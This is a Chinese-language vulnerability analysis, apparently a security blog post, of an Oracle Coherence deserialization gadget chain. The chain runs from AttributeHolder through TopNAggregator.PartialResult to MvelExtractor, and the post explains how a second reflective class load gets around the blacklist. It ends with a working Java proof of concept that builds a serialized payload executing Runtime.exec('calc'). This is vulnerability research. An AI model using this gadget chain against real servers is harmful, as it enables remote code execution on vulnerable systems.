先从 com.tangosol.util.ExternalizableHelper
开始,其 readObject
方法的入参是 DataInput
类的,最终会执行到 readObjectInternal
方法
当 nType
的值是 10 时,会执行 readExternalizableLite
方法:
而这个 nType
是根据反序列化对象的类来判断的:
进入 readExternalizableLite
方法,该方法中可以 loadclass
,这个 class
是 ExternalizableLite
类,因为是二次反射,所以不经过黑名单的限制:
之后,调用到这个 class
的 readExternal
方法:
由于 Extractor
基本上都实现了 ExternalizableLite
这个接口,所以可以用 MvelExtractor
这个利用链,通过以 readExternal(DataInput in)
为 source
,以 com.tangosol.util.extractor.AbstractExtractor#compare
为sink,作者找到了 TopNAggregator.PartialResult
,该类也继承 ExternalizableLite
:
且在 readExternal
中调用了自身的 add
方法,同时也注意到 this.m_comparator
也是通过 ExternalizableHelper.readObject
获得的,所以用之前的漏洞利用链 MvelExtractor
是可以的,在看 add
方法:
调用了 this.m_comparator.compare
,刚好接上利用链,同时为了不满足 this.size() < this.m_cMaxSize
所以必须给 this.size()
一个值,跟进:
发现是在父类中,NavigableMap
的 size
,反射插入即可。
sink
解决了,在看 source
,因为 com.tangosol.util.ExternalizableHelper
的 readObject
方法的入参是 DataInput
类的,所以无法直接反序列化执行,现在需要找个类的 readExternal(ObjectInput in)
或者 readObject(ObjectInputStream in)
中有 ExternalizableHelper.readObject
且其对应的是 Object
而不是特定的类,这里找到了 com.tangosol.coherence.servlet.AttributeHolder
:
这里还有个问题,就是 m_oValue
虽然是 Object
但是有 transient
修饰,按理来说不应该参加反序列化,但这里用的是 readExternal
,而 transient
关键字只能与 Serializable
接口搭配使用
以上刚好构造好了整合利用链,相关代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22MvelExtractor extractor = new MvelExtractor("Runtime.getRuntime().exec(\"calc\");");
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult((Comparator)extractor, 1);
NavigableMap<Object, Object> map = new TreeMap<>();
AttributeHolder attributeHolder = new AttributeHolder();
try {
Field field1 = SortedBag.class.getDeclaredField("m_map");
field1.setAccessible(true);
map.put("1", "1");
field1.set(partialResult, map);
Field field = AttributeHolder.class.getDeclaredField("m_oValue");
field.setAccessible(true);
field.set(attributeHolder, partialResult);
File f = new File("tmp.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(f));
obj.writeObject(attributeHolder);
obj.close();
} catch (Exception e) {
e.printStackTrace();
}
在这个漏洞中,最重要的感觉还是 loadclass
这个点,其他基于这个点的 source
和 sink
都可以通过半自动化得到。